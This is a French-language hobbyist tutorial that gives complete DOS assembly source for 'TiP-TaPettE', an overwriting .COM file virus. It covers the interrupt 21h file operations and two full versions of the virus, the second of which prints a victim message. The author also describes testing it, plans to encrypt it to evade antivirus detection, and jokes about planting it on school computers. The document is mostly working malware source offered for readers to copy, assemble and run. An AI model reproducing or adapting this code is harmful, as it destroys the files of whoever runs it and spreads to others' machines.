Maintenant qu'on a les bases suffisantes en asm, on va créer notre (mon) infecteur
de fichier *.com
Il se nommera TiP-TaPettE et sera un virus merdique. (car c'est un infecteur de .com
et de plus il ecrase le fichier donc totalement pourri !lol)
Mais bon, faut bien commencer par quelquechose.
Detail du fonctionnement:
********************
fichier avant :
|-------------------------|
| programme |
|-------------------------|
fichier infecté :
|-------------------------|
| Virus | gramme |
|-------------------------|
Le com infecté sera donc carrement inutilisable et le virus ne se répandra
que dans la directory de départ mais bon, encore une fois c'est juste pour apprendre.
Procédé de l'infection:
******************
-Chercher un com dans la directory
-Si il y en a un, on l'ouvre
-Puis on inscrit le virus dedans
-On ferme le fichier
-On n'en cherche un autre
-Si on en trouve un on recommence
On voit donc que le virus est si con qu'il verifie meme pas si le com est deja infecte.
Allez un peu de source :
*******************
pour ouvrir un fichier:
----------------------------------------------------------------
l'interruption 21h code 3Dh
pour l'appeler :
mettre en ah : 3Dh
en dx : l'offset ou il y a le nom du fichier
(finissant par un 0)
puis int 21h pour appeler l'interruption
note : renvoie le handle du fichier en ax
----------------------------------------------------------------
pour ecrire dans un fichier:
----------------------------------------------------------------
l'interruption 21h code 40h
pour l'appeler :
mettre en ah : 40h
en bx : le handle du fichier
en cx : le nombre d'octets a ecrire
en dx : adresse du buffer source
puis int 21h pour appeler l'interruption
----------------------------------------------------------------
pour fermer un fichier:
----------------------------------------------------------------
l'interruption 21h code 3Eh
pour l'appeler :
mettre en ah : 3Eh
en bx : le handle du fichier a fermer
puis int 21h pour appeler l'interruption
----------------------------------------------------------------
Allez on y go :
************
voici donc le source a copier dans un fichier texte puis a renommer
en virus.asm
*******************************************************************
.model small ;model de memoire
.code
ORG 100h ;car on fait un fichier com
debut:
mov ah,4Eh ;
mov dx,offset fichiercom ;findfirst
int 21h ;
infection:
jc fin ;si on trouve pas on quitte
mov ax,3D01h ;ouverture-du-fichier(le 01 indique qu'on ouvre en ecriture)
mov dx,9Eh ;car nom en 9Eh
int 21h
mov bx,ax ;handle en bx
mov ah,40h ;ecriture
mov cx,2Dh ;taille de notre virus
mov dx,100h ;pointe au debut de notre com a recopier dans l'autre
int 21h
mov ah,3Eh ;fermeture-du-fichier
int 21h
mov ah,4Fh ;findnext
int 21h ;si y en a pas on se casse
jmp infection ;si y en a on revient
fin:
ret ;fini
fichiercom db '*.COM',0 ;a la fin car c'est un .com
END debut
*******************************************************************
Puis la phase de test.
Mais comment tester notre virus ? Eh bien on se cree un repertoire test
puis on met notre virus dedans.
Ensuite on cree un .com qu'on rempli avec le bloc note.
Et on lance le virus. Apres ça on regarde l'hexa du .com pour voir si
il a bien été infecté. Si c'est le cas on efface virus.com et on cree
un autre com rempli au notepad. Puis on lance le fichier infecte.
Si il infecte l'autre alors on a gagné !
Mais bon notre virus il est foireux quand meme. On va essayer de faire
en sorte qu'un fichier infecté envoie un message par le dos.
genre :"tu es la victime du virus TiP-GeNoCiDE, bonne journée !".
Allez on se met a l'oeuvre :
Voici le source qui ferait cela :
TiP-TaPettE virus
*****************
**************************** TiP-TaPettE **************************
.model small ;model de memoire
.code
ORG 100h ;car on fait un fichier com
debut:
mov ah,4Eh ;
mov dx,offset fichiercom ;findfirst
int 21h ;
infection:
jc fin ;si on trouve pas on quitte
mov ax,3D01h ;ouverture-du-fichier(le 01 indique qu'on ouvre en ecriture)
mov dx,9Eh ;car nom en 9Eh
int 21h
mov bx,ax ;handle en bx
mov ah,40h ;ecriture
mov cx,70h ;taille de notre virus (beh voui il est plus gros)
mov dx,100h ;pointe au debut de notre com a recopier dans l'autre
int 21h
;fermeture-du-fichier
mov ah,3Eh
int 21h
mov ah,4Fh ;findnext
int 21h ;si y en a pas on se casse
jmp infection ;si y en a on revient
fin:
mov dx,offset chaine ;message en dx
push ax ;on sauve ax car il est modifié
mov ax,0900h ;affichage du message
int 21h
pop ax ;on restaure ax
ret ;fini
fichiercom db '*.COM',0 ;a la fin car c'est un .com
chaine db 'tu es la victime du virus TiP-TaPettE, bonne journee !$'
END debut
*******************************************************************
Bon on le teste. Arf j'en reviens pas, y marche du premier coup, c'est kewl.
Ce virus est quand meme une sacrée grosse daube mais bon je suis content
quand meme.
Cependant n'esperer pas niquer la planete avec vu le mal qu'il a a ce
repandre !lol.
La prochaine fois (si il y en a une on fera un vrai virus).
Tiens en passant on va l'analyser avec anti viral toolkit pro pour voir (j'ai pas norton
sur moi.).Héhé il est reconnu direct ! lol. J'essayerais de le crypter pour voir.
J'espere que vous aurez autant de plaisir a lire cet article que j'en ai eu a le faire.
Sur ce, bonne programmation.
ps-lol: Et si je le mettais sur les pcs de mon établissement scolaire !...:))